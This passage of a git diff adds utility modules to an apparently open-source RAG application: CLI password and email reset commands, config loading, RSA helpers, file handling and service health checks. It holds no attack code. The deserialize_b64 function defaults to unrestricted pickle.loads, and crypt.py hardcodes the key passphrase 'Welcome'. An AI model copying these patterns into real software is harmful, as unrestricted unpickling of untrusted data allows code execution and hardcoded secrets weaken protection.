+ 'password': password_hash
+ }
+ UserService.update_user(user[0].id,user_dict)
+ click.echo(click.style('Congratulations! Password has been reset.', fg='green'))
+
+
+@click.command('reset-email', help='Reset the account email.')
+@click.option('--email', prompt=True, help='The old email address of the account whose email you need to reset')
+@click.option('--new-email', prompt=True, help='the new email.')
+@click.option('--email-confirm', prompt=True, help='the new email confirm.')
+def reset_email(email, new_email, email_confirm):
+ if str(new_email).strip() != str(email_confirm).strip():
+ click.echo(click.style('Sorry, new email and confirm email do not match.', fg='red'))
+ return
+ if str(new_email).strip() == str(email).strip():
+ click.echo(click.style('Sorry, new email and old email are the same.', fg='red'))
+ return
+ user = UserService.query(email=email)
+ if not user:
+ click.echo(click.style('sorry. the account: [{}] not exist .'.format(email), fg='red'))
+ return
+ if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,4}$", new_email):
+ click.echo(click.style('sorry. {} is not a valid email. '.format(new_email), fg='red'))
+ return
+ new_user = UserService.query(email=new_email)
+ if new_user:
+ click.echo(click.style('sorry. the account: [{}] is exist .'.format(new_email), fg='red'))
+ return
+ user_dict = {
+ 'email': new_email
+ }
+ UserService.update_user(user[0].id,user_dict)
+ click.echo(click.style('Congratulations!, email has been reset.', fg='green'))
+
+def register_commands(app: Flask):
+ app.cli.add_command(reset_password)
+ app.cli.add_command(reset_email)
diff --git a/api/utils/common.py b/api/utils/common.py
new file mode 100644
index 0000000..ae1d7b4
--- /dev/null
+++ b/api/utils/common.py
@@ -0,0 +1,46 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+def string_to_bytes(string):
+ return string if isinstance(
+ string, bytes) else string.encode(encoding="utf-8")
+
+
+def bytes_to_string(byte):
+ return byte.decode(encoding="utf-8")
+
+
+def convert_bytes(size_in_bytes: int) -> str:
+ """
+ Format size in bytes.
+ """
+ if size_in_bytes == 0:
+ return "0 B"
+
+ units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']
+ i = 0
+ size = float(size_in_bytes)
+
+ while size >= 1024 and i < len(units) - 1:
+ size /= 1024
+ i += 1
+
+ if i == 0 or size >= 100:
+ return f"{size:.0f} {units[i]}"
+ elif size >= 10:
+ return f"{size:.1f} {units[i]}"
+ else:
+ return f"{size:.2f} {units[i]}"
diff --git a/api/utils/configs.py b/api/utils/configs.py
new file mode 100644
index 0000000..48e4922
--- /dev/null
+++ b/api/utils/configs.py
@@ -0,0 +1,179 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import os
+import io
+import copy
+import logging
+import base64
+import pickle
+import importlib
+
+from api.utils import file_utils
+from filelock import FileLock
+from api.utils.common import bytes_to_string, string_to_bytes
+from api.constants import SERVICE_CONF
+
+
+def conf_realpath(conf_name):
+ conf_path = f"conf/{conf_name}"
+ return os.path.join(file_utils.get_project_base_directory(), conf_path)
+
+
+def read_config(conf_name=SERVICE_CONF):
+ local_config = {}
+ local_path = conf_realpath(f'local.{conf_name}')
+
+ # load local config file
+ if os.path.exists(local_path):
+ local_config = file_utils.load_yaml_conf(local_path)
+ if not isinstance(local_config, dict):
+ raise ValueError(f'Invalid config file: "{local_path}".')
+
+ global_config_path = conf_realpath(conf_name)
+ global_config = file_utils.load_yaml_conf(global_config_path)
+
+ if not isinstance(global_config, dict):
+ raise ValueError(f'Invalid config file: "{global_config_path}".')
+
+ global_config.update(local_config)
+ return global_config
+
+
+CONFIGS = read_config()
+
+
+def show_configs():
+ msg = f"Current configs, from {conf_realpath(SERVICE_CONF)}:"
+ for k, v in CONFIGS.items():
+ if isinstance(v, dict):
+ if "password" in v:
+ v = copy.deepcopy(v)
+ v["password"] = "*" * 8
+ if "access_key" in v:
+ v = copy.deepcopy(v)
+ v["access_key"] = "*" * 8
+ if "secret_key" in v:
+ v = copy.deepcopy(v)
+ v["secret_key"] = "*" * 8
+ if "secret" in v:
+ v = copy.deepcopy(v)
+ v["secret"] = "*" * 8
+ if "sas_token" in v:
+ v = copy.deepcopy(v)
+ v["sas_token"] = "*" * 8
+ if "oauth" in k:
+ v = copy.deepcopy(v)
+ for key, val in v.items():
+ if "client_secret" in val:
+ val["client_secret"] = "*" * 8
+ if "authentication" in k:
+ v = copy.deepcopy(v)
+ for key, val in v.items():
+ if "http_secret_key" in val:
+ val["http_secret_key"] = "*" * 8
+ msg += f"\n\t{k}: {v}"
+ logging.info(msg)
+
+
+def get_base_config(key, default=None):
+ if key is None:
+ return None
+ if default is None:
+ default = os.environ.get(key.upper())
+ return CONFIGS.get(key, default)
+
+
+def decrypt_database_password(password):
+ encrypt_password = get_base_config("encrypt_password", False)
+ encrypt_module = get_base_config("encrypt_module", False)
+ private_key = get_base_config("private_key", None)
+
+ if not password or not encrypt_password:
+ return password
+
+ if not private_key:
+ raise ValueError("No private key")
+
+ module_fun = encrypt_module.split("#")
+ pwdecrypt_fun = getattr(
+ importlib.import_module(
+ module_fun[0]),
+ module_fun[1])
+
+ return pwdecrypt_fun(private_key, password)
+
+
+def decrypt_database_config(
+ database=None, passwd_key="password", name="database"):
+ if not database:
+ database = get_base_config(name, {})
+
+ database[passwd_key] = decrypt_database_password(database[passwd_key])
+ return database
+
+
+def update_config(key, value, conf_name=SERVICE_CONF):
+ conf_path = conf_realpath(conf_name=conf_name)
+ if not os.path.isabs(conf_path):
+ conf_path = os.path.join(
+ file_utils.get_project_base_directory(), conf_path)
+
+ with FileLock(os.path.join(os.path.dirname(conf_path), ".lock")):
+ config = file_utils.load_yaml_conf(conf_path=conf_path) or {}
+ config[key] = value
+ file_utils.rewrite_yaml_conf(conf_path=conf_path, config=config)
+
+
+safe_module = {
+ 'numpy',
+ 'rag_flow'
+}
+
+
+class RestrictedUnpickler(pickle.Unpickler):
+ def find_class(self, module, name):
+ import importlib
+ if module.split('.')[0] in safe_module:
+ _module = importlib.import_module(module)
+ return getattr(_module, name)
+ # Forbid everything else.
+ raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
+ (module, name))
+
+
+def restricted_loads(src):
+ """Helper function analogous to pickle.loads()."""
+ return RestrictedUnpickler(io.BytesIO(src)).load()
+
+
+def serialize_b64(src, to_str=False):
+ dest = base64.b64encode(pickle.dumps(src))
+ if not to_str:
+ return dest
+ else:
+ return bytes_to_string(dest)
+
+
+def deserialize_b64(src):
+ src = base64.b64decode(
+ string_to_bytes(src) if isinstance(
+ src, str) else src)
+ use_deserialize_safe_module = get_base_config(
+ 'use_deserialize_safe_module', False)
+ if use_deserialize_safe_module:
+ return restricted_loads(src)
+ return pickle.loads(src)
diff --git a/api/utils/crypt.py b/api/utils/crypt.py
new file mode 100644
index 0000000..eb922a8
--- /dev/null
+++ b/api/utils/crypt.py
@@ -0,0 +1,64 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+import base64
+import os
+import sys
+from Cryptodome.PublicKey import RSA
+from Cryptodome.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
+from api.utils import file_utils
+
+
+def crypt(line):
+ """
+ decrypt(crypt(input_string)) == base64(input_string), which frontend and admin_client use.
+ """
+ file_path = os.path.join(file_utils.get_project_base_directory(), "conf", "public.pem")
+ rsa_key = RSA.importKey(open(file_path).read(), "Welcome")
+ cipher = Cipher_pkcs1_v1_5.new(rsa_key)
+ password_base64 = base64.b64encode(line.encode('utf-8')).decode("utf-8")
+ encrypted_password = cipher.encrypt(password_base64.encode())
+ return base64.b64encode(encrypted_password).decode('utf-8')
+
+
+def decrypt(line):
+ file_path = os.path.join(file_utils.get_project_base_directory(), "conf", "private.pem")
+ rsa_key = RSA.importKey(open(file_path).read(), "Welcome")
+ cipher = Cipher_pkcs1_v1_5.new(rsa_key)
+ return cipher.decrypt(base64.b64decode(line), "Fail to decrypt password!").decode('utf-8')
+
+
+def decrypt2(crypt_text):
+ from base64 import b64decode, b16decode
+ from Crypto.Cipher import PKCS1_v1_5 as Cipher_PKCS1_v1_5
+ from Crypto.PublicKey import RSA
+ decode_data = b64decode(crypt_text)
+ if len(decode_data) == 127:
+ hex_fixed = '00' + decode_data.hex()
+ decode_data = b16decode(hex_fixed.upper())
+
+ file_path = os.path.join(file_utils.get_project_base_directory(), "conf", "private.pem")
+ pem = open(file_path).read()
+ rsa_key = RSA.importKey(pem, "Welcome")
+ cipher = Cipher_PKCS1_v1_5.new(rsa_key)
+ decrypt_text = cipher.decrypt(decode_data, None)
+ return (b64decode(decrypt_text)).decode()
+
+
+if __name__ == "__main__":
+ passwd = crypt(sys.argv[1])
+ print(passwd)
+ print(decrypt(passwd))
diff --git a/api/utils/file_utils.py b/api/utils/file_utils.py
new file mode 100644
index 0000000..63e96fb
--- /dev/null
+++ b/api/utils/file_utils.py
@@ -0,0 +1,286 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import base64
+import json
+import os
+import re
+import shutil
+import subprocess
+import sys
+import tempfile
+import threading
+from io import BytesIO
+
+import pdfplumber
+from cachetools import LRUCache, cached
+from PIL import Image
+from ruamel.yaml import YAML
+
+from api.constants import IMG_BASE64_PREFIX
+from api.db import FileType
+
+PROJECT_BASE = os.getenv("RAG_PROJECT_BASE") or os.getenv("RAG_DEPLOY_BASE")
+RAG_BASE = os.getenv("RAG_BASE")
+
+LOCK_KEY_pdfplumber = "global_shared_lock_pdfplumber"
+if LOCK_KEY_pdfplumber not in sys.modules:
+ sys.modules[LOCK_KEY_pdfplumber] = threading.Lock()
+
+
+def get_project_base_directory(*args):
+ global PROJECT_BASE
+ if PROJECT_BASE is None:
+ PROJECT_BASE = os.path.abspath(
+ os.path.join(
+ os.path.dirname(os.path.realpath(__file__)),
+ os.pardir,
+ os.pardir,
+ )
+ )
+
+ if args:
+ return os.path.join(PROJECT_BASE, *args)
+ return PROJECT_BASE
+
+
+def get_rag_directory(*args):
+ global RAG_BASE
+ if RAG_BASE is None:
+ RAG_BASE = os.path.abspath(
+ os.path.join(
+ os.path.dirname(os.path.realpath(__file__)),
+ os.pardir,
+ os.pardir,
+ os.pardir,
+ )
+ )
+ if args:
+ return os.path.join(RAG_BASE, *args)
+ return RAG_BASE
+
+
+def get_rag_python_directory(*args):
+ return get_rag_directory("python", *args)
+
+
+def get_home_cache_dir():
+ dir = os.path.join(os.path.expanduser("~"), ".ragflow")
+ try:
+ os.mkdir(dir)
+ except OSError:
+ pass
+ return dir
+
+
+@cached(cache=LRUCache(maxsize=10))
+def load_json_conf(conf_path):
+ if os.path.isabs(conf_path):
+ json_conf_path = conf_path
+ else:
+ json_conf_path = os.path.join(get_project_base_directory(), conf_path)
+ try:
+ with open(json_conf_path) as f:
+ return json.load(f)
+ except BaseException:
+ raise EnvironmentError("loading json file config from '{}' failed!".format(json_conf_path))
+
+
+def dump_json_conf(config_data, conf_path):
+ if os.path.isabs(conf_path):
+ json_conf_path = conf_path
+ else:
+ json_conf_path = os.path.join(get_project_base_directory(), conf_path)
+ try:
+ with open(json_conf_path, "w") as f:
+ json.dump(config_data, f, indent=4)
+ except BaseException:
+ raise EnvironmentError("loading json file config from '{}' failed!".format(json_conf_path))
+
+
+def load_json_conf_real_time(conf_path):
+ if os.path.isabs(conf_path):
+ json_conf_path = conf_path
+ else:
+ json_conf_path = os.path.join(get_project_base_directory(), conf_path)
+ try:
+ with open(json_conf_path) as f:
+ return json.load(f)
+ except BaseException:
+ raise EnvironmentError("loading json file config from '{}' failed!".format(json_conf_path))
+
+
+def load_yaml_conf(conf_path):
+ if not os.path.isabs(conf_path):
+ conf_path = os.path.join(get_project_base_directory(), conf_path)
+ try:
+ with open(conf_path) as f:
+ yaml = YAML(typ="safe", pure=True)
+ return yaml.load(f)
+ except Exception as e:
+ raise EnvironmentError("loading yaml file config from {} failed:".format(conf_path), e)
+
+
+def rewrite_yaml_conf(conf_path, config):
+ if not os.path.isabs(conf_path):
+ conf_path = os.path.join(get_project_base_directory(), conf_path)
+ try:
+ with open(conf_path, "w") as f:
+ yaml = YAML(typ="safe")
+ yaml.dump(config, f)
+ except Exception as e:
+ raise EnvironmentError("rewrite yaml file config {} failed:".format(conf_path), e)
+
+
+def rewrite_json_file(filepath, json_data):
+ with open(filepath, "w", encoding="utf-8") as f:
+ json.dump(json_data, f, indent=4, separators=(",", ": "))
+ f.close()
+
+
+def filename_type(filename):
+ filename = filename.lower()
+ if re.match(r".*\.pdf$", filename):
+ return FileType.PDF.value
+
+ if re.match(r".*\.(msg|eml|doc|docx|ppt|pptx|yml|xml|htm|json|jsonl|ldjson|csv|txt|ini|xls|xlsx|wps|rtf|hlp|pages|numbers|key|md|py|js|java|c|cpp|h|php|go|ts|sh|cs|kt|html|sql)$", filename):
+ return FileType.DOC.value
+
+ if re.match(r".*\.(wav|flac|ape|alac|wavpack|wv|mp3|aac|ogg|vorbis|opus)$", filename):
+ return FileType.AURAL.value
+
+ if re.match(r".*\.(jpg|jpeg|png|tif|gif|pcx|tga|exif|fpx|svg|psd|cdr|pcd|dxf|ufo|eps|ai|raw|WMF|webp|avif|apng|icon|ico|mpg|mpeg|avi|rm|rmvb|mov|wmv|asf|dat|asx|wvx|mpe|mpa|mp4)$", filename):
+ return FileType.VISUAL.value
+
+ return FileType.OTHER.value
+
+
+def thumbnail_img(filename, blob):
+ """
+ MySQL LongText max length is 65535
+ """
+ filename = filename.lower()
+ if re.match(r".*\.pdf$", filename):
+ with sys.modules[LOCK_KEY_pdfplumber]:
+ pdf = pdfplumber.open(BytesIO(blob))
+
+ buffered = BytesIO()
+ resolution = 32
+ img = None
+ for _ in range(10):
+ # https://github.com/jsvine/pdfplumber?tab=readme-ov-file#creating-a-pageimage-with-to_image
+ pdf.pages[0].to_image(resolution=resolution).annotated.save(buffered, format="png")
+ img = buffered.getvalue()
+ if len(img) >= 64000 and resolution >= 2:
+ resolution = resolution / 2
+ buffered = BytesIO()
+ else:
+ break
+ pdf.close()
+ return img
+
+ elif re.match(r".*\.(jpg|jpeg|png|tif|gif|icon|ico|webp)$", filename):
+ image = Image.open(BytesIO(blob))
+ image.thumbnail((30, 30))
+ buffered = BytesIO()
+ image.save(buffered, format="png")
+ return buffered.getvalue()
+
+ elif re.match(r".*\.(ppt|pptx)$", filename):
+ import aspose.pydrawing as drawing
+ import aspose.slides as slides
+
+ try:
+ with slides.Presentation(BytesIO(blob)) as presentation:
+ buffered = BytesIO()
+ scale = 0.03
+ img = None
+ for _ in range(10):
+ # https://reference.aspose.com/slides/python-net/aspose.slides/slide/get_thumbnail/#float-float
+ presentation.slides[0].get_thumbnail(scale, scale).save(buffered, drawing.imaging.ImageFormat.png)
+ img = buffered.getvalue()
+ if len(img) >= 64000:
+ scale = scale / 2.0
+ buffered = BytesIO()
+ else:
+ break
+ return img
+ except Exception:
+ pass
+ return None
+
+
+def thumbnail(filename, blob):
+ img = thumbnail_img(filename, blob)
+ if img is not None:
+ return IMG_BASE64_PREFIX + base64.b64encode(img).decode("utf-8")
+ else:
+ return ""
+
+
+def traversal_files(base):
+ for root, ds, fs in os.walk(base):
+ for f in fs:
+ fullname = os.path.join(root, f)
+ yield fullname
+
+
+def repair_pdf_with_ghostscript(input_bytes):
+ if shutil.which("gs") is None:
+ return input_bytes
+
+ with tempfile.NamedTemporaryFile(suffix=".pdf") as temp_in, tempfile.NamedTemporaryFile(suffix=".pdf") as temp_out:
+ temp_in.write(input_bytes)
+ temp_in.flush()
+
+ cmd = [
+ "gs",
+ "-o",
+ temp_out.name,
+ "-sDEVICE=pdfwrite",
+ "-dPDFSETTINGS=/prepress",
+ temp_in.name,
+ ]
+ try:
+ proc = subprocess.run(cmd, capture_output=True, text=True)
+ if proc.returncode != 0:
+ return input_bytes
+ except Exception:
+ return input_bytes
+
+ temp_out.seek(0)
+ repaired_bytes = temp_out.read()
+
+ return repaired_bytes
+
+
+def read_potential_broken_pdf(blob):
+ def try_open(blob):
+ try:
+ with pdfplumber.open(BytesIO(blob)) as pdf:
+ if pdf.pages:
+ return True
+ except Exception:
+ return False
+ return False
+
+ if try_open(blob):
+ return blob
+
+ repaired = repair_pdf_with_ghostscript(blob)
+ if try_open(repaired):
+ return repaired
+
+ return blob
diff --git a/api/utils/health.py b/api/utils/health.py
new file mode 100644
index 0000000..394154b
--- /dev/null
+++ b/api/utils/health.py
@@ -0,0 +1,104 @@
+from timeit import default_timer as timer
+
+from api import settings
+from api.db.db_models import DB
+from rag.utils.redis_conn import REDIS_CONN
+from rag.utils.storage_factory import STORAGE_IMPL
+
+
+def _ok_nok(ok: bool) -> str:
+ return "ok" if ok else "nok"
+
+
+def check_db() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ # lightweight probe; works for MySQL/Postgres
+ DB.execute_sql("SELECT 1")
+ return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def check_redis() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ ok = bool(REDIS_CONN.health())
+ return ok, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def check_doc_engine() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ meta = settings.docStoreConn.health()
+ # treat any successful call as ok
+ return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", **(meta or {})}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def check_storage() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ STORAGE_IMPL.health()
+ return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def check_chat() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ cfg = getattr(settings, "CHAT_CFG", None)
+ ok = bool(cfg and cfg.get("factory"))
+ return ok, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def run_health_checks() -> tuple[dict, bool]:
+ result: dict[str, str | dict] = {}
+
+ db_ok, db_meta = check_db()
+ chat_ok, chat_meta = check_chat()
+
+ result["db"] = _ok_nok(db_ok)
+ if not db_ok:
+ result.setdefault("_meta", {})["db"] = db_meta
+
+ result["chat"] = _ok_nok(chat_ok)
+ if not chat_ok:
+ result.setdefault("_meta", {})["chat"] = chat_meta
+
+ # Optional probes (do not change minimal contract but exposed for observability)
+ try:
+ redis_ok, redis_meta = check_redis()
+ result["redis"] = _ok_nok(redis_ok)
+ if not redis_ok:
+ result.setdefault("_meta", {})["redis"] = redis_meta
+ except Exception:
+ result["redis"] = "nok"
+
+ try:
+ doc_ok, doc_meta = check_doc_engine()
+ result["doc_engine"] = _ok_nok(doc_ok)
+ if not doc_ok:
+ result.setdefault("_meta", {})["doc_engine"] = doc_meta
+ except Exception:
+ result["doc_engine"] = "nok"
+
+ try:
+ sto_ok, sto_meta = check_storage()
+ result["storage"] = _ok_nok(sto_ok)
+ if not sto_ok:
+ result.setdefault("_meta", {})["storage"] = sto_meta
+ except Exception:
+ result["storage"] = "nok"
+
+ all_ok = (result.get("db") == "ok") and (result.get("chat") == "ok")
+ result["status"] = "ok" if all_ok else "nok"
+ return result, all_ok
+
+
diff --git a/api/utils/health_utils.py b/api/utils/health_utils.py
new file mode 100644
index 0000000..1396d75
--- /dev/null
+++ b/api/utils/health_utils.py
@@ -0,0 +1,200 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import os
+import requests
+from timeit import default_timer as timer
+
+from api import settings
+from api.db.db_models import DB
+from rag import settings as rag_settings
+from rag.utils.redis_conn import REDIS_CONN
+from rag.utils.storage_factory import STORAGE_IMPL
+from rag.utils.es_conn import ESConnection
+from rag.utils.infinity_conn import InfinityConnection
+
+
+def _ok_nok(ok: bool) -> str:
+ return "ok" if ok else "nok"
+
+
+def check_db() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ # lightweight probe; works for MySQL/Postgres
+ DB.execute_sql("SELECT 1")
+ return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def check_redis() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ ok = bool(REDIS_CONN.health())
+ return ok, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def check_doc_engine() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ meta = settings.docStoreConn.health()
+ # treat any successful call as ok
+ return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", **(meta or {})}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def check_storage() -> tuple[bool, dict]:
+ st = timer()
+ try:
+ STORAGE_IMPL.health()
+ return True, {"elapsed": f"{(timer() - st) * 1000.0:.1f}"}
+ except Exception as e:
+ return False, {"elapsed": f"{(timer() - st) * 1000.0:.1f}", "error": str(e)}
+
+
+def get_es_cluster_stats() -> dict:
+ doc_engine = os.getenv('DOC_ENGINE', 'elasticsearch')
+ if doc_engine != 'elasticsearch':
+ raise Exception("Elasticsearch is not in use.")
+ try:
+ return {
+ "alive": True,
+ "message": ESConnection().get_cluster_stats()
+ }
+ except Exception as e:
+ return {
+ "alive": False,
+ "message": f"error: {str(e)}",
+ }
+
+
+def get_infinity_status():
+ doc_engine = os.getenv('DOC_ENGINE', 'elasticsearch')
+ if doc_engine != 'infinity':
+ raise Exception("Infinity is not in use.")
+ try:
+ return {
+ "alive": True,
+ "message": InfinityConnection().health()
+ }
+ except Exception as e:
+ return {
+ "alive": False,
+ "message": f"error: {str(e)}",
+ }
+
+
+def get_mysql_status():
+ try:
+ cursor = DB.execute_sql("SHOW PROCESSLIST;")
+ res_rows = cursor.fetchall()
+ headers = ['id', 'user', 'host', 'db', 'command', 'time', 'state', 'info']
+ cursor.close()
+ return {
+ "alive": True,
+ "message": [dict(zip(headers, r)) for r in res_rows]
+ }
+ except Exception as e:
+ return {
+ "alive": False,
+ "message": f"error: {str(e)}",
+ }
+
+
+def check_minio_alive():
+ start_time = timer()
+ try:
+ response = requests.get(f'http://{rag_settings.MINIO["host"]}/minio/health/live')
+ if response.status_code == 200:
+ return {'alive': True, "message": f"Confirm elapsed: {(timer() - start_time) * 1000.0:.1f} ms."}
+ else:
+ return {'alive': False, "message": f"Confirm elapsed: {(timer() - start_time) * 1000.0:.1f} ms."}
+ except Exception as e:
+ return {
+ "alive": False,
+ "message": f"error: {str(e)}",
+ }
+
+
+def get_redis_info():
+ try:
+ return {
+ "alive": True,
+ "message": REDIS_CONN.info()
+ }
+ except Exception as e:
+ return {
+ "alive": False,
+ "message": f"error: {str(e)}",
+ }
+
+
+def check_ragflow_server_alive():
+ start_time = timer()
+ try:
+ response = requests.get(f'http://{settings.HOST_IP}:{settings.HOST_PORT}/v1/system/ping')
+ if response.status_code == 200:
+ return {'alive': True, "message": f"Confirm elapsed: {(timer() - start_time) * 1000.0:.1f} ms."}
+ else:
+ return {'alive': False, "message": f"Confirm elapsed: {(timer() - start_time) * 1000.0:.1f} ms."}
+ except Exception as e:
+ return {
+ "alive": False,
+ "message": f"error: {str(e)}",
+ }
+
+
+def run_health_checks() -> tuple[dict, bool]:
+ result: dict[str, str | dict] = {}
+
+ db_ok, db_meta = check_db()
+ result["db"] = _ok_nok(db_ok)
+ if not db_ok:
+ result.setdefault("_meta", {})["db"] = db_meta
+
+ try:
+ redis_ok, redis_meta = check_redis()
+ result["redis"] = _ok_nok(redis_ok)
+ if not redis_ok:
+ result.setdefault("_meta", {})["redis"] = redis_meta
+ except Exception:
+ result["redis"] = "nok"
+
+ try:
+ doc_ok, doc_meta = check_doc_engine()
+ result["doc_engine"] = _ok_nok(doc_ok)
+ if not doc_ok:
+ result.setdefault("_meta", {})["doc_engine"] = doc_meta
+ except Exception:
+ result["doc_engine"] = "nok"
+
+ try:
+ sto_ok, sto_meta = check_storage()
+ result["storage"] = _ok_nok(sto_ok)
+ if not sto_ok:
+ result.setdefault("_meta", {})["storage"] = sto_meta
+ except Exception:
+ result["storage"] = "nok"
+
+
+ all_ok = (result.get("db") == "ok") and (result.get("redis") == "ok") and (result.get("doc_engine") == "ok") and (result.get("storage") == "ok")
+ result["status"] = "ok" if all_ok else "nok"
+ return result, all_ok
+
+
diff --git a/api/utils/json.py b/api/utils/json.py
new file mode 100644
index 0000000..b21addd
--- /dev/null
+++ b/api/utils/json.py
@@ -0,0 +1,78 @@
+import datetime
+import json
+from enum import Enum, IntEnum
+from api.utils.common import string_to_bytes, bytes_to_string
+
+
+class BaseType:
+ def to_dict(self):
+ return dict([(k.lstrip("_"), v) for k, v in self.__dict__.items()])
+
+ def to_dict_with_type(self):
+ def _dict(obj):
+ module = None
+ if issubclass(obj.__class__, BaseType):
+ data = {}
+ for attr, v in obj.__dict__.items():
+ k = attr.lstrip("_")
+ data[k] = _dict(v)
+ module = obj.__module__
+ elif isinstance(obj, (list, tuple)):
+ data = []
+ for i, vv in enumerate(obj):
+ data.append(_dict(vv))
+ elif isinstance(obj, dict):
+ data = {}
+ for _k, vv in obj.items():
+ data[_k] = _dict(vv)
+ else:
+ data = obj
+ return {"type": obj.__class__.__name__,
+ "data": data, "module": module}
+
+ return _dict(self)
+
+
+class CustomJSONEncoder(json.JSONEncoder):
+ def __init__(self, **kwargs):
+ self._with_type = kwargs.pop("with_type", False)
+ super().__init__(**kwargs)
+
+ def default(self, obj):
+ if isinstance(obj, datetime.datetime):
+ return obj.strftime('%Y-%m-%d %H:%M:%S')
+ elif isinstance(obj, datetime.date):
+ return obj.strftime('%Y-%m-%d')
+ elif isinstance(obj, datetime.timedelta):
+ return str(obj)
+ elif issubclass(type(obj), Enum) or issubclass(type(obj), IntEnum):
+ return obj.value
+ elif isinstance(obj, set):
+ return list(obj)
+ elif issubclass(type(obj), BaseType):
+ if not self._with_type:
+ return obj.to_dict()
+ else:
+ return obj.to_dict_with_type()
+ elif isinstance(obj, type):
+ return obj.__name__
+ else:
+ return json.JSONEncoder.default(self, obj)
+
+
+def json_dumps(src, byte=False, indent=None, with_type=False):
+ dest = json.dumps(
+ src,
+ indent=indent,
+ cls=CustomJSONEncoder,
+ with_type=with_type)
+ if byte:
+ dest = string_to_bytes(dest)
+ return dest
+
+
+def json_loads(src, object_hook=None, object_pairs_hook=None):
+ if isinstance(src, bytes):
+ src = bytes_to_string(src)
+ return json.loads(src, object_hook=object_hook,
+ object_pairs_hook=object_pairs_hook)
diff --git a/api/utils/log_utils.py b/api/utils/log_utils.py
new file mode 100644
index 0000000..0a4840e
--- /dev/null
+++ b/api/utils/log_utils.py
@@ -0,0 +1,91 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import os
+import os.path
+import logging
+from logging.handlers import RotatingFileHandler
+
+initialized_root_logger = False
+
+def get_project_base_directory():
+ PROJECT_BASE = os.path.abspath(
+ os.path.join(
